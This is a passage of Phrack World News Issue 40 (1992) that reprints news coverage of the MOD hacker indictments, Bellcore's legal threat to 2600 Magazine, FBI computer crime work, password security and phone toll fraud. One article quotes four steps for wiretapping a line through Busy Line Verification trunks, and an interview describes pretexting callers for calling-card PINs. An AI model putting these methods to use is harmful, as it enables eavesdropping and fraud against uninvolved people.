Mr. Lee says he works part time as a stand‑up comic and is enrolled at Brooklyn College studying film production.

Mr. Stira is three credits shy of a degree in computer science at Polytechnic University in Brooklyn. Mr. Fernandez hopes to enroll this fall in the Technical Computer Institute in Manhattan. Mr. Ladopoulos is studying at Queens Community College.

No trial date has been set.

But the battles are apparently not over yet. A couple of days after the charges were handed up, one Legion member said, he received a message on his computer from Mr. Abene. It was sarcastic as usual, he said, and it closed, "Kissy, kissy."

[Editor's Note: Article included photographs of Phiber Optik, Scorpion, Corrupt, and Outlaw.]

________________________________________

Frustrated Hackers May Have Helped Feds In MOD Sting July 20, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By James Daly (ComputerWorld)(Page 6)

NEW YORK ‑‑ Are hackers beginning to police themselves? The five men recently charged with cracking into scores of complex computer systems during the last two years may have been fingered by other hackers who had grown weary of the group's penchant for destruction and vindictiveness, members of the hacker community said.

The arrest of the defendants, whom federal law enforcement officials claimed were members of a confederation variously called the "Masters of Deception" and the "Masters of Disaster" (MOD), was cause for celebration in some quarters where the group is known as a spiteful fringe element.

"Some of these guys were a big pain," said one source who requested anonymity for fear that unindicted MOD members would plot revenge. "They used their skills to harass others, which is not what hacking is all about. MOD came with a 'you will respect us' attitude, and no one liked it."

Said another: "In the past few months, there has been a lot of muttering on the [bulletin] boards about these guys."

In one episode, MOD members reportedly arranged for the modem of a computer at the University of Louisville in Kentucky to continually dial the home number of a hacker bulletin board member who refused to grant them greater access privileges. A similar threat was heard in Maryland.

In the indictment, the defendants are accused of carrying on a conversation in early November 1991 in which they sought instructions on how to add and remove credit delinquency reports "to destroy people's lives . . . or make them look like a saint." Unlike many other hacker organizations, the members of MOD agreed to share important computer information only among themselves and not with other hackers.

Officials Mum

Who exactly helped the FBI, Secret Service and U.S. Attorney General's Office prepare a case against the group is still anyone's guess. Assistant U.S. Attorney Stephen Fishbein is not saying. He confirmed that the investigation into the MOD began in 1990, but he would not elaborate on how or why it was launched or who participated. FBI and Secret Service officials were equally mute.

Some observers said that if the charges are true, the men were not true "hackers" at all.

"Hacking is something done in the spirit of creative playfulness, and people who break into computer security systems aren't hackers ‑‑ they're criminals," said Richard Stallman, president of the Cambridge, Massachusetts‑based Free Software Foundation, a public charity that develops free software. The foundation had several files on one computer deleted by a hacker who some claimed belonged to the MOD.

The MOD hackers are charged with breaking into computer systems at several regional telephone companies, Fortune 500 firms including Martin Marietta Corp., universities and credit‑reporting concerns such as TRW, Inc., which reportedly had 176 consumer credit reports stolen and sold to private investigators. The 11‑count indictment accuses the defendants of computer fraud, computer tampering, wire fraud, illegal wiretapping and conspiracy.

But some hackers said the charges are like trying to killing ants with a sledgehammer. "These guys may have acted idiotically, but this was a stupid way to get back at them," said Emmanuel Goldstein, editor of 2600, a quarterly magazine for the hacker community based in Middle Island, New York.

Longtime hackers said the MOD wanted to move into the vacuum left when the Legion of Doom began to disintegrate in late 1989 and early 1990 after a series of arrests in Atlanta and Texas. Federal law enforcement officials have described the Legion of Doom as a group of about 15 computer enthusiasts whose members re‑routed calls, stole and altered data and disrupted telephone

PWN/Part 3

==Phrack Inc.==

Volume Four, Issue Forty, File 14 of 14

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue 40 / Part 3 of 3 PWN

PWN PWN

PWN Compiled by Datastream Cowboy PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Bellcore Threatens 2600 Magazine With Legal Action July 15, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

THE FOLLOWING CERTIFIED LETTER HAS BEEN RECEIVED BY 2600 MAGAZINE. WE WELCOME ANY COMMENTS AND/OR INTERPRETATIONS.

Leonard Charles Suchyta

General Attorney

Intellectual Property Matters

Emanuel [sic] Golstein [sic], Editor

2600 Magazine

P.O. Box 752

Middle Island, New York 11953‑0752

Dear Mr. Golstein:

It has come to our attention that you have somehow obtained and published in the 1991‑1992 Winter edition of 2600 Magazine portions of certain Bellcore proprietary internal documents.

This letter is to formally advise you that, if at any time in the future you (or your magazine) come into possession of, publish, or otherwise disclose any Bellcore information or documentation which either (i) you have any reason to believe is proprietary to Bellcore or has not been made publicly available by Bellcore or (ii) is marked "proprietary," "confidential," "restricted," or with any other legend denoting Bellcore's proprietary interest therein, Bellcore will vigorously pursue all legal remedies available to it including, but not limited to, injunctive relief and monetary damages, against you, your magazine, and its sources.

We trust that you fully understand Bellcore's position on this matter.

Sincerely,

LCS/sms

LCS/CORR/JUN92/golstein.619

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Emmanuel Goldstein Responds

~~~~~~~~~~~~~~~~~~~~~~~~~~~

The following reply has been sent to Bellcore. Since we believe they have received it by now, we are making it public.

Emmanuel Goldstein

Editor, 2600 Magazine

PO Box 752

Middle Island, NY 11953

July 20, 1992

Leonard Charles Suchyta

LCC 2E‑311

290 W. Mt. Pleasant Avenue

Livingston, NJ 07039

Dear Mr. Suchyta:

We are sorry that the information published in the Winter 1991‑92 issue of 2600 disturbs you. Since you do not specify which article you take exception to, we must assume that you're referring to our revelation of built‑in privacy holes in the telephone infrastructure which appeared on Page 42. In that piece, we quoted from an internal Bellcore memo as well as Bell Operating Company documents. This is not the first time we have done this. It will not be the last.

We recognize that it must be troubling to you when a journal like ours publishes potentially embarrassing information of the sort described above. But as journalists, we have a certain obligation that cannot be cast aside every time a large and powerful entity gets annoyed. That obligation compels us to report the facts as we know them to our readers, who have a keen interest in this subject matter. If, as is often the case, documents, memoranda, and/or bits of information in other forms are leaked to us, we have every right to report on the contents therein. If you find fault with this logic, your argument lies not with us, but with the general concept of a free press.

And, as a lawyer specializing in intellectual property law, you know that you cannot in good faith claim that merely stamping "proprietary" or "secret" on a document establishes that document as a trade secret or as proprietary information. In the absence of a specific explanation to the contrary, we must assume that information about the publicly supported telephone system and infrastructure is of public importance, and that Bellcore will have difficulty establishing in court that any information in our magazine can benefit Bellcore's competitors, if indeed Bellcore has any competitors.

If in fact you choose to challenge our First Amendment rights to disseminate important information about the telephone infrastructure, we will be compelled to respond by seeking all legal remedies against you, which may include sanctions provided for in Federal and state statutes and rules of civil procedure. We will also be compelled to publicize your use of lawsuits and the threat of legal action to harass and intimidate.

Sincerely,

Emmanuel Goldstein

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Exposed Hole In Telephone Network Draws Ire Of Bellcore July 24, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from Communications Daily (Page 5)

Anyone Can Wiretap Your Phone

Major security hole in telephone network creates "self‑serve" monitoring feature allowing anyone to listen in on any telephone conversation they choose. Weakness involves feature called Busy Line Verification (BLV), which allows phone companies to "break into" conversation at any time. BLV is used most often by operators entering conversation to inform callers of emergency message. But BLV feature can be used by anyone with knowledge of network's weakness to set up ad hoc 'wiretap' and monitor conversations, said Emmanuel Goldstein, editor of 2600 Magazine, which published article in its Winter 1991 issue.

2600 Magazine is noted for finding and exposing weaknesses of telecommunications. It's named for frequency of whistle, at one time given away with Cap'n Crunch cereal, which one notorious hacker discovered could, when blown into telephone receiver, allow access to open 800 line. Phone companies have since solved that problem.

Security risks are outlined in article titled "U.S. Phone Companies Face BuiltIn Privacy Hole" that quotes from internal Bellcore memo and Bell Operating Co. documents: "'A significant and sophisticated vulnerability' exists that could affect the security and privacy of BLV." Article details how, after following 4 steps, any line is susceptible to secret monitoring. One document obtained by 2600 said: "There is no proof the hacker community knows about the vulnerability."

When Bellcore learned of article, it sent magazine harsh letter threatening legal action. Letter said that if at any time in future magazine "comes into possession of, publishes, or otherwise discloses any Bellcore information" organization will "vigorously pursue all legal remedies available to it including, but not limited to, injunctive and monetary damages." Leonard Suchyta, Bellcore General Attorney for Intellectual Property Matters, said documents in magazine's possession "are proprietary" and constitute "a trade secret" belonging to Bellcore and its members ‑‑ RBOCs. He said documents are "marked with 'Proprietary' legend" and "the law says you can't ignore this legend, its [Bellcore's] property." Suchyta said Bellcore waited so long to respond to publication because "I think the article, as we are not subscribers, was brought to our attention by a 3rd party." He said this is first time he was aware that magazine had published such Bellcore information.

But Goldstein said in reply letter to Bellcore: "This is not the first time we have done this. It will not be the last." He said he thinks Bellcore is trying to intimidate him, "but they've come up against the wrong publication this time." Goldstein insisted that documents were leaked to his magazine: "While we don't spread the documents around, we will report on what's contained within." Suchyta said magazine is obligated to abide by legend stamped on documents. He said case law shows that the right to publish information hinges on whether it "has been lawfully acquired. If it has a legend on it, it's sort of hard to say it's lawfully acquired."

Goldstein said he was just making public what already was known: There's known privacy risk because of BLV weakness: "If we find something out, our first instinct is to tell people about it. We don't keep things secret." He said information about security weaknesses in phone network "concerns everybody." Just because Bellcore doesn't want everyone to know about its shortcomings and those of telephone network is hardly reason to stifle that information, Goldstein said. "Everybody should know if their phone calls can be listened in on."

Suchyta said that to be considered "valuable," information "need not be of super, super value," like proprietary software program "where you spent millions of dollars" to develop it. He said information "could well be your own information that would give somebody an advantage or give them some added value they wouldn't otherwise have had if they had not taken it from you." Goldstein said he was "sympathetic" to Bellcore's concerns but "fact is, even when such weaknesses are exposed, [phone companies] don't do anything about them." He cited recent indictments in New York where computer hackers were manipulating telephone, exploiting weaknesses his magazine had profiled long ago. "Is there any security at all [on the network]?" he said. "That's the question we have to ask ourselves."

Letter from Bellcore drew burst of responses from computer community when Goldstein posted it to electronic computer conference. Lawyers specializing in computer law responded, weighing in on side of magazine. Attorney Lance Rose said: "There is no free‑floating 'secrecy' right . . . Even if a document says 'confidential' that does not mean it was disclosed to you with an understanding of confidentiality ‑‑ which is the all‑important question." Michael Godwin, general counsel for Electronic Frontier Foundation, advocacy group for the computer community, said: "Trade secrets can qualify as property, but only if they're truly trade secrets. Proprietary information can (sort of) qualify as property if there's a breach of a fiduciary duty." Both lawyers agreed that magazine was well within its rights in publishing information. "If Emmanuel did not participate in any way in encouraging or aiding in the removal of the document from Bellcore . . . that suggests he wouldn't be liable," Godwin said.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Bellcore And 2600 Dispute Publishing Of Article July 27, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Barbara E. McMullen & John F. McMullen (Newsbytes)

MIDDLE ISLAND, NY ‑‑ Eric Corley a/k/a "Emmanuel Goldstein", editor and publisher of 2600 Magazine: The Hacker Quarterly, has told Newsbytes that he will not be deterred by threats from Bellcore from publishing material which he considers important for his readership.

Earlier this month, Corley received a letter (addressed to "Emanuel Golstein") from Leonard Charles Suchyta, General Attorney, Intellectual Property Matters at Bellcore taking issue with the publication by 2600 of material that Suchyta referred to as "portions of certain Bellcore proprietary internal documents."

The letter continued "This letter is to formally advise you that, if at any time in the future you (or your magazine) come into possession of, publish, or otherwise disclose any Bellcore information or documentation which either (i) you have any reason to believe is proprietary to Bellcore or has not been made publicly available by Bellcore or (ii) is marked "proprietary," "confidential," "restricted," or with any other legend denoting Bellcore's proprietary interest therein, Bellcore will vigorously pursue all legal remedies available to it including, but not limited to, injunctive relief and monetary damages, against you, your magazine, and its sources."

While the letter did not mention any specific material published by 2600, Corley told Newsbytes that he believes that Suchyta's letter refers to an article entitled "U.S. Phone Companies Face Built‑In Privacy Hole".that appears on page 42 of the Winter 1991 issue. Corley said "What we published was derived from a 1991 internal Bellcore memo as well as Bell Operating Company documents that were leaked to us. We did not publish the documents. However, we did read what was sent to us and wrote an article based upon that. The story focuses on how the phone companies are in an uproar over a 'significant and sophisticated vulnerability' that could result in BLV (busy line verification) being used to listen in on phone calls."

The 650‑word article said, in part, "By exploiting a weakness, it's possible to remotely listen in on phone conversations at a selected telephone number. While the phone companies can do this any time they want, this recently discovered self‑serve monitoring feature has created a telco crisis of sorts."

The article further explained how people might exploit the security hole, saying "The intruder can listen in on phone calls by following these four steps:

"1. Query the switch to determine the Routing Class Code assigned to the BLV trunk group.

"2. Find a vacant telephone number served by that switch.

"3. Via recent change, assign the Routing Class Code of the BLV trunks to the Chart Column value of the DN (directory number) of the vacant telephone number.

"4. Add call forwarding to the vacant telephone number (Remote Call Forwarding would allow remote definition of the target telephone number while Call Forwarding Fixed would only allow the specification of one target per recent change message or vacant line)."

"By calling the vacant phone number, the intruder would get routed to the BLV trunk group and would then be connected on a "no‑test vertical" to the target phone line in a bridged connection."

The article added "According to one of the documents, there is no proof that the hacker community knows about the vulnerability. The authors did express great concern over the publication of an article entitled 'Central Office Operations ‑ The End Office Environment' which appeared in the electronic newsletter Legion of Doom/Hackers Technical Journal. In this article, reference is made to the 'No Test Trunk'."

The article concludes "even if hackers are denied access to this "feature", BLV networks will still have the capability of being used to monitor phone lines. Who will be monitored and who will be listening are two forever unanswered questions."

Corley responded to to Suchyta's letter on July 20th, saying "I assume that you're referring to our revelation of built‑in privacy holes in the telephone infrastructure which appeared on Page 42. In that piece, we quoted from an internal Bellcore memo as well as Bell Operating Company documents. This is not the first time we have done this. It will not be the last.

"We recognize that it must be troubling to you when a journal like ours publishes potentially embarrassing information of the sort described above. But as journalists, we have a certain obligation that cannot be cast aside every time a large and powerful entity gets annoyed. That obligation compels us to report the facts as we know them to our readers, who have a keen interest in this subject matter. If, as is often the case, documents, memoranda, and/or bits of information in other forms are leaked to us, we have every right to report on the contents therein. If you find fault with this logic, your argument lies not with us, but with the general concept of a free press.

"And, as a lawyer specializing in intellectual property law, you know that you cannot in good faith claim that merely stamping "proprietary" or "secret" on a document establishes that document as a trade secret or as proprietary information. In the absence of a specific explanation to the contrary, we must assume that information about the publicly supported telephone system and infrastructure is of public importance, and that Bellcore will have difficulty establishing in court that any information in our magazine can benefit Bellcore's competitors, if indeed Bellcore has any competitors.

"If in fact you choose to challenge our First Amendment rights to disseminate important information about the telephone infrastructure, we will be compelled to respond by seeking all legal remedies against you, which may include sanctions provided for in Federal and state statutes and rules of civil procedure. We will also be compelled to publicize your use of lawsuits and the threat of legal action to harass and intimidate.

Sincerely,

Emmanuel Goldstein"

Corley told Newsbytes "Bellcore would never have attempted this with the New York Times. They think that it would, however, be easy to shut us up by simple threats because of our size. They are wrong. We are responsible journalists; we know the rules and we abide by them. I will, by the way, send copies of the article in question to anyone who request it. Readers may then judge for themselves whether any boundaries have been crossed."

Corley, who hosts the weekly "Off the Hook" show on New York City's WBAI radio station, said that he had discussed the issue on the air and had received universal support from his callers. Corley also told Newsbytes, that, although he prefers to be known by his nomme de plume (taken from George Orwell's 1984), he understands that the press fells bound to use his actual name. He said that, in the near future, he will "end the confusion by having my name legally changed."

Bellcore personnel were unavailable for comment on any possible response to Corley's letter.

________________________________________

Interview With Ice Man And Maniac July 22, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Joshua Quittner (New York Newsday)(Page 83)

Ice Man and Maniac are two underground hackers in the New England area that belong to a group known as Micro Pirates, Incorporated. They agreed to be interviewed if their actual identities were not revealed.

[Editor's Note: They are fools for doing this, especially in light of how Phiber Optik's public media statements and remarks will ultimately be used against him.]

Q: How do you define computer hacking?

Maniac: Hacking is not exploration of computer systems. It's more of an undermining of security. That's how I see it.

Q: How many people are in your group, Micro Pirates Incorporated?

Ice Man: Fifteen or 14.

Maniac: We stand for similar interests. It's an escape, you know. If I'm not doing well in school, I sit down on the board and talk to some guy in West Germany, trade new codes of their latest conquest. Escape. Forget about the real world.

Ice Man. It's more of a hobby. Why do it? You can't exactly stop. I came about a year‑and‑a‑half ago, and I guess you could say I'm one of the ones on a lower rung, like in knowledge. I do all the ‑‑ you wouldn't call it dirty work ‑‑ phone calls. I called you ‑‑ that kind of thing.

Q: You're a "social engineer"?

Ice Man: Social engineering ‑‑ I don't know who coined the term. It's using conversation to exchange information under false pretenses. For example, posing as a telecommunications employee to gain more knowledge and insight into the different [phone network] systems.

Q: What social engineering have you done?

Maniac: We hacked into the system that keeps all the grades for the public school system. It's the educational mainframe at Kingsborough Community College. But we didn't change anything.

Ice Man: They have the mainframe that stores all the schedules, Regents scores, ID numbers of all the students in the New York high school area. You have to log in as a school, and the password changes every week.

Q: How did you get the password?

Ice Man: Brute force and social engineering. I was doing some social engineering in school. I was playing the naive person with an administrator, asking all these questions toward what is it, where is it and how do you get in.

Q: I bet you looked at your grades. How did you do?

Ice Man: High 80s.

Q. And you could have changed Regents scores?

Ice Man: I probably wouldn't have gotten away with it, and I wouldn't say I chose not to on a moral basis. I'd rather say on a security basis.

Q: What is another kind of social engineering?

Maniac: There's credit‑card fraud and calling‑card fraud. You call up and say, "I'm from the AT&T Corporation. We're having trouble with your calling‑card account. Could you please reiterate to us your fourdigit PIN number?" People, being kind of God‑fearing ‑‑ as AT&T is somewhat a God ‑‑ will say, "Here's my four‑digit PIN number."

Q: Hackers from another group, MOD, were arrested recently and charged with, among other things, selling inside information about how to penetrate credit bureaus. Have you cleaned up your act?

Maniac: We understand the dangers of it now. We're not as into it. We understand what people go through when they find out a few thousand dollars have been charged to their credit‑card account.

Q: Have you hacked into credit bureaus?

Ice Man: We were going to look up your name.

Maniac: CBI [Credit Bureau International, owned by Equifax, one of the largest national credit bureaus], is pretty insecure, to tell you the truth.

Q: Are you software pirates, too?

Maniac: Originally. Way back when.

Ice Man: And then we branched out and into the hacking area. Software piracy is, in the computer underground, the biggest thing. There are groups like THG and INC, which are international. THG is The Humble Guys. INC is International Network of Crackers, and I've recently found out that it's run by 14 and 15‑year‑olds. They have people who work in companies, and they'll take the software and they'll crack it ‑‑ the software protection ‑‑ and then distribute it.

Q: Are there many hacking groups in New York?

Maniac: Three or four. LOD [the Legion of Doom, named by hacker Lex Luthor], MOD, MPI and MOB [Men of Business].

Q: How do your members communicate?

Ice Man: The communication of choice is definitely the modem [to access underground electronic bulletin boards where members leave messages for each other or "chat" in real time]. After that is the voice mail box [VMB]. VMBs are for communications between groups.

A company, usually the same company that has beepers and pagers and answering services, has a voice‑mail‑box service. You call up [after hacking out an access code that gives the user the ability to create new voice mail boxes on a system] and can enter in a VMB number. Occasionally they have outdial capabilities that allow you to call anywhere in the world. I call about five every day. It's not really my thing.

Q: Is your group racially integrated?

Ice Man: Half of them are Asian. Also we have, I think, one Hispanic. I never met him. Race, religion ‑‑ nobody cares. The only thing that would alienate you in any way would be if you were known as a lamer. If you just took, took, took and didn't contribute to the underground. It's how good you are, how you're respected.

Maniac: We don't work on a racial basis or an ethnic basis. We work on a business basis. This is an organized hobby. You do these things for us and you get a little recognition for it.

Ice Man: Yeah. If you're a member of our group and you need a high‑speed modem, we'll give you one, on a loan basis.

Q: How does somebody join MPI?

Maniac: They have to contact either of us on the boards.

Ice Man: And I'll go through the whole thing [with them], validating them, checking their references, asking them questions, so we know what they're talking about. And if it's okay, then we let them in. We have members in 516, 718, 212, 201, 408, and 908. We're talking to someone in Florida, but he's not a member yet.

Q: Are any MPI members in other hacking groups?

Ice Man: I know of no member of MPI that is in any other group. I wouldn't call it betrayal, but it's like being in two secret clubs at one time. I would want them faithful to my group, not any other group. There is something called merging, a combination of both groups that made them bigger and better. A lot of piracy groups did that.

Q: Aren't you concerned about breaking the law?

Maniac: Breaking the law? I haven't gotten caught. If I do get caught, I won't be stupid and say I was exploring ‑‑ I'm not exploring. I'm visiting, basically. If you get caught, you got to serve your time. I'm not going to fight it.

________________________________________

FBI Unit Helps Take A Byte Out Of Crime July 15, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Bill Gertz (The Washington Times)(Page A4)

FBI crime busters are targeting elusive computer criminals who travel the world by keyboard, telephone and computer screen and use such code names as "Phiber Optik," "Masters of Disaster," "Acid Phreak" and "Scorpion."

"Law enforcement across the board recognizes that this is a serious emerging crime problem, and it's only going to continue to grow in the future," said Charles L. Owens, chief of the FBI's economic crimes unit.

Last week in New York, federal authorities unsealed an indictment against five computer hackers, ages 18 to 22, who were charged with stealing long‑distance phone service and credit bureau information and who penetrated a wide variety of computer networks.

The FBI is focusing its investigations on major intrusions into banking and government computers and when the objective is stealing money, Mr. Owens said in an interview.

FBI investigations of computer crimes have doubled in the past year, he said, adding that only about 11 percent to 15 percent of computer crimes are reported to law enforcement agencies. Because of business or personal reasons, victims often are reluctant to come forward, he said.

Currently, FBI agents are working on more than 120 cases, including at least one involving a foreign intelligence agency. Mr. Owens said half of the active cases involve hackers operating overseas, but he declined to elaborate.

The FBI has set up an eight‑member unit in its Washington field office devoted exclusively to solving computer crimes.

The special team, which includes computer scientists, electrical engineers and experienced computer system operators, first handled the tip that led to the indictment of the five hackers in New York, according to agent James C. Settle, who directs the unit.

Computer criminals, often equipped with relatively unsophisticated Commodore 64 or Apple II computers, first crack into international telephone switching networks to make free telephone calls anywhere in the world, Mr. Settle said.

Hackers then can spend up to 16 hours a day, seven days a week, breaking into national and international computer networks such as the academic‑oriented Internet, the National Aeronautics and Space Administration's Span‑Net and the Pentagon's Milnet.

To prevent being detected, unauthorized computer users "loop and weave" through computer networks at various locations in the process of getting information.

"A lot of it is clearly for curiosity, the challenge of breaking into systems," Mr. Settle said. "The problem is that they can take control of the system."

Also, said Mr. Owens, computer hackers who steal such information from commercial data banks may turn to extortion as a way to make money.

Mr. Settle said there are also "indications" that computer criminals are getting involved in industrial espionage.

The five hackers indicted in New York on conspiracy, computer‑fraud, computer tampering, and wire‑fraud charges called themselves "MOD," for Masters of Deception or Masters of Disaster.

The hackers were identified in court papers as Julio Fernandez, 18, John Lee, 21, Mark Abene, 20, Elias Ladopoulos, 22, and Paul Stira, 22. All live in the New York City area.

Mr. Fernandez and Mr. Lee intercepted data communications from a computer network operated by the Bank of America, court papers said.

They also penetrated a computer network of the Martin Marietta Electronics Information and Missile Group, according to the court documents.

The hackers obtained personal information stored in credit bureau computers, with the intention of altering it "to destroy people's lives or make them look like saints," the indictment stated.

________________________________________

And Today's Password Is... May 26, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~

By Robert Matthews (The Daily Telegraph)(page 26)

"Ways Of Keeping Out The Determined Hacker"

One of the late Nobel Prize‑winning physicist Richard Feynman's favorite stories was how he broke into top‑secret atomic bomb files at Los Alamos by guessing that the lock combination was 271828, the first six digits of the mathematical constant "e". Apart from being amusing, Feynman's anecdote stands as a warning to anyone who uses dates, names or common words for their computer password.

As Professor Peter Denning, of George Mason University, Virginia, points out in American Scientist, for all but the most trivial secrets, such passwords simply aren't good enough. Passwords date back to 1960, and the advent of timesharing systems that allowed lots of users access to files stored on a central computer. It was not long before the standard tricks for illicitly obtaining passwords emerged: Using Feynman‑style educated guessing, standing behind computer users while they typed in their password or trying common system passwords like "guest" or "root". The biggest security nightmare is, however, the theft of the user‑password file, which is used by the central computer to check any password typed in.

By the mid‑1970s, ways of tackling this had been developed. Using so‑called "one‑way functions", each password was encrypted in a way that cannot be unscrambled. The password file then contains only apparently meaningless symbols, of no obvious use to the would‑be hacker. But, as Denning warns, even this can be beaten if passwords are chosen sloppily. Instead of trying to unscramble the file, hackers can simply feed common names and dates ‑‑ or even the entire English dictionary ‑‑ through the one‑way function to see if the end result matches anything on the scrambled password file. Far from being a theoretical risk, this technique was used during the notorious Project Equalizer case in 1987, when KGB‑backed hackers in Hanover broke the passwords of Unix‑based computers in America.

Ultimately, the only way to solve the password problem is to free people of their fear of forgetting more complex ones. The long‑term solution, says Denning, probably lies with the use of smart‑card technology. One option is a card which generates different passwords once a minute, using a formula based on the time given by an internal clock. The user then logs on using this password. Only if the computer confirms that the password corresponds to the log‑on time is the user allowed to continue. Another smart‑card technique is the "challenge‑response" protocol. Users first log on to their computer under their name, and are then "challenged" by a number appearing on the screen. Keying this into their smart card, a "response number" is generated by a formula unique to each smart card. If this number corresponds to the response expected from a particular user's smart card, the computer allows access. A number of companies are already marketing smart‑card systems, although the technology has yet to become popular.

In the meantime, Denning says that avoiding passwords based on English words would boost security. He highlights one simple technique for producing nonstandard words that are nonetheless easy to remember: "Pass‑phrases". For this, one merely invents a nonsensical phrase like "Martin says Unix gives gold forever", and uses the first letter of each word to generate the password: MSUGGF. Such a password will defeat hackers, even if the password file is stolen, as it does not appear in any dictionary. However, Denning is wary of giving any guarantees. One day, he cautions, someone may draw up a computerized dictionary of common phrases. "The method will probably be good for a year or two, until someone who likes to compile these dictionaries starts to attack it."

________________________________________

Outgunned "Computer Cops" Track High‑Tech Criminals June 8, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Tony Rogers (Associated Press)

BOSTON ‑‑ The scam was simple. When a company ordered an airline ticket on its credit card, a travel agent entered the card number into his computer and ordered a few extra tickets.

The extra tickets added up and the unscrupulous agent sold them for thousands of dollars.

But the thief eventually attracted attention and authorities called in Robert McKenna, a prosecutor in the Suffolk County district attorney's office. He is one of a growing, but still outgunned posse of investigators who track hightech villains.

After the thief put a ticket to Japan on a local plumbing company's account, he was arrested by police McKenna had posing as temporary office workers. He was convicted and sentenced to a year in prison.

But the sleuths who track high‑tech lawbreakers say too many crimes can be committed with a computer or a telephone, and too few detectives are trained to stop them.

"What we've got is a nuclear explosion and we're running like hell to escape the blast. But it's going to hit us," said Chuck Jones, who oversees high‑tech crime investigations at the California Department of Justice.

The problem is, investigators say, computers have made it easier to commit crimes like bank fraud. Money transfers that once required signatures and paperwork are now done by pressing a button.

But it takes time to train a high‑tech enforcer.

"Few officers are adept in investigating this, and few prosecutors are adept in prosecuting it," Jones said.

"You either have to take a cop and make him a computer expert, or take a computer expert and make him a cop. I'm not sure what the right approach is."

In recent high‑tech crimes:

‑ Volkswagen lost almost $260 million because of an insider computer scam involving phony currency exchange transactions.

‑ A former insurance firm employee in Fort Worth, Texas, deleted more than 160,000 records from the company's computer.

‑ A bank employee sneaked in a computer order to Brinks to deliver 44 kilograms of gold to a remote site, collected it, then disappeared.

Still, computer cops have their successes.

The Secret Service broke up a scheme to make counterfeit automatic teller machine cards that could have netted millions.

And Don Delaney, a computer detective for the New York State Police, nabbed Jaime Liriano, who cracked a company's long‑distance phone system.

Many company phone systems allow employes to call an 800 number, punch in a personal identification number and then make long‑distance calls at company expense.

Some computer hackers use automatic speed dialers ‑‑ known as "demon dialers" ‑‑ to dial 800 numbers repeatedly and try different four‑digit numbers until they crack the ID codes. Hackers using this method stole $12 million in phone service from NASA.

Liriano did it manually, calling the 800 number of Data Products in Wallingford, Connecticut, from his New York City apartment. He cracked the company's code in two weeks.

Liriano started selling the long distance service ‑‑ $10 for a 20‑minute call anywhere ‑‑ and customers lined up inside his apartment.

But Delaney traced the calls and on March 10, he and his troopers waited outside Liriano's apartment. On a signal from New York Telephone, which was monitoring Liriano's line, the troopers busted in and caught him in the act.

Liriano pleaded guilty to a misdemeanor of theft of services, and was sentenced to three years' probation and community service.

Data Products lost at least $35,000. "And we don't know what he made," Delaney said of Liriano.

________________________________________

Who Pays For Calls By Hackers? June 12, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Kent Gibbons (The Washington Times)(Page C1)

ICF International Inc. doesn't want to pay $82,000 for unauthorized calls by hackers who tapped the company's switchboard.

AT&T says the Fairfax engineering firm owns the phone system and is responsible for the calls, mostly to Pakistan.

Now their dispute and others like it are in Congress' lap. A House subcommittee chairman believes a law is needed to cap the amount a company can be forced to pay for fraudulent calls, the same way credit card users are protected.

Edward Markey, the Massachusetts Democrat who held hearings on the subject said long‑distance carriers and local telephone companies should absorb much of those charges.

Victims who testified said they didn't know about the illegal calls until the phone companies told them, sometimes weeks after strange calling patterns began. But since the calls went through privately owned switchboards before entering the public telephone network, FCC rules hold the switchboard owners liable.

"This is one of the ongoing dilemmas caused by the breakup of AT&T," Mr. Markey said. Before the 1984 Bell system breakup, every stage of a call passed through the American Telephone & Telegraph Co. network and AT&T was liable for fraudulent calls.

Estimates of how much companies lose from this growing form of telephone fraud range from $300 million to more than $2 billion per year.

The range is so vast because switchboard makers and victims often don't report losses to avoid embarrassment or further fraud, said James Spurlock of the Federal Communications Commission.

Long‑distance carriers say they have stepped up their monitoring of customer calls to spot unusual patterns such as repeated calls to other countries in a short period. In April, Sprint Corp. added other protective measures, including, for a $100 installation charge and $100 monthly fee, a fraud liability cap of $25,000 per incident.

AT&T announced a similar plan last month.

Robert Fox, Sprint assistant vice president of security, said the new plans cut the average fraud claim from more than $20,000 in the past to about $2,000 during the first five months of this year.

But the Sprint and AT&T plans don't go far enough, Mr. Markey said.

ICF's troubles started in March 1988. At the time, the portion of ICF that was hit by the fraud was an independent software firm in Rockville called Chartways Technologies Inc. ICF bought Chartways in April 1991.

As with most cases of fraud afflicting companies with private phone systems, high‑tech bandits broke into the Chartways switchboard using a toll‑free number set up for the company's customers.

Probably aided by a computer that randomly dials phone numbers, the hackers got through security codes to obtain a dial tone to make outside calls.

The hackers used a fairly common feature some companies offer out‑of‑town employees to save on long‑distance calls. Ironically, Chartways never used the feature because it was too complicated, said Walter Messick, ICF's manager of contract administration.

On March 31, AT&T officials told Chartways that 757 calls were made to Pakistan recently, costing $42,935.

The phone bill arrived later that day and showed that the Pakistan calls had begun 11 days before, Mr.Messick said.

Because of the Easter holiday and monitoring of calls by Secret Service agents, ICF's outside‑calling feature was not disconnected until April 4. By then, ICF had racked up nearly $82,000 in unauthorized calls.

A year ago, the FCC's Common Carrier Bureau turned down ICF's request to erase the charges. The full commission will hear an appeal this fall.

________________________________________

Dutch Hackers Feel Data Security Law Will Breed Computer Crime July 7, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

